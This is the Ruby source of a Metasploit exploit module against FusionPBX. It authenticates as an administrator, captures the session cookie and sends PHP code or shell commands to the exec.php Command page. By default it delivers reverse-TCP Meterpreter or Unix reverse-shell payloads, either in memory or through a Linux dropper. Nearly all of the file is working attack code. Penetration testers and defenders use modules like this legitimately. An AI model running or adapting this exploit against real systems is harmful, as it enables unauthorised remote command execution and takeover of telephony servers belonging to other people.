Path: blob/master/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FusionPBX Command exec.php Command Execution',16'Description' => %q{17This module uses administrative functionality available in FusionPBX18to gain a shell.1920The Command section of the application permits users with `exec_view`21permissions, or superadmin permissions, to execute arbitrary system22commands, or arbitrary PHP code, as the web server user.2324This module has been tested successfully on FusionPBX version254.4.1 on Ubuntu 19.04 (x64).26},27'License' => MSF_LICENSE,28'Author' => ['bcoles'],29'References' => [30['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']31],32'Platform' => %w[php linux unix],33'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],34'Targets' => [35[36'Automatic (PHP In-Memory)',37'Platform' => 'php',38'Arch' => ARCH_PHP,39'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },40'Type' => :php_memory41],42[43'Automatic (Unix In-Memory)',44'Platform' => 'unix',45'Arch' => ARCH_CMD,46'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },47'Type' => :unix_memory48],49[50'Automatic (Linux Dropper)',51'Platform' => 'linux',52'Arch' => [ARCH_X86, ARCH_X64],53'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },54'Type' => :linux_dropper55]56],57'Privileged' => false,58'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },59'DisclosureDate' => '2019-11-02',60'DefaultTarget' => 0,61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)68register_options [69OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),70OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),71OptString.new('PASSWORD', [true, 'The password for FusionPBX'])72]73end7475def login(user, pass)76vprint_status "Authenticating as user '#{user}'"7778vars_post = {79username: user,80password: pass,81path: ''82}8384res = send_request_cgi({85'method' => 'POST',86'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),87'vars_post' => vars_post88})8990unless res91fail_with Failure::Unreachable, 'Connection failed'92end9394if res.code == 302 && res.headers['location'].include?('login.php')95fail_with Failure::NoAccess, "Login failed for user '#{user}'"96end9798unless res.code == 20099fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"100end101102cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first103104unless cookie105fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'106end107108print_good "Authenticated as user '#{user}'"109110cookie111end112113def check114res = send_request_cgi({115'uri' => normalize_uri(target_uri.path)116})117118unless res119vprint_error 'Connection failed'120return CheckCode::Unknown121end122123if res.body.include?('FusionPBX')124return CheckCode::Detected125end126127CheckCode::Safe128end129130def execute_command(cmd, opts = {})131vars_post = {132handler: 'php',133table_name: '',134sql_type: '',135id: '',136cmd: cmd137}138139case opts[:handler]140when 'php'141vars_post[:handler] = 'php'142when 'shell'143vars_post[:handler] = 'shell'144when 'switch'145vars_post[:handler] = 'switch'146vars_post[:cmd] = "bg_system #{cmd}"147else148vars_post[:handler] = 'shell'149end150151res = send_request_cgi({152'method' => 'POST',153'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),154'cookie' => "PHPSESSID=#{@cookie}",155'vars_post' => vars_post156}, 5)157158unless res159return if session_created?160161fail_with Failure::Unreachable, 'Connection failed'162end163164unless res.code == 200165fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"166end167168if res.body.include? 'access denied'169fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"170end171172res173end174175def exploit176unless check == CheckCode::Detected177fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"178end179180@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])181182print_status "Sending payload (#{payload.encoded.length} bytes) ..."183184case target['Type']185when :php_memory186execute_command(payload.encoded, handler: 'php')187when :unix_memory188execute_command(payload.encoded, handler: 'shell')189when :linux_dropper190execute_cmdstager(:linemax => 1_500, handler: 'shell')191end192end193end194195196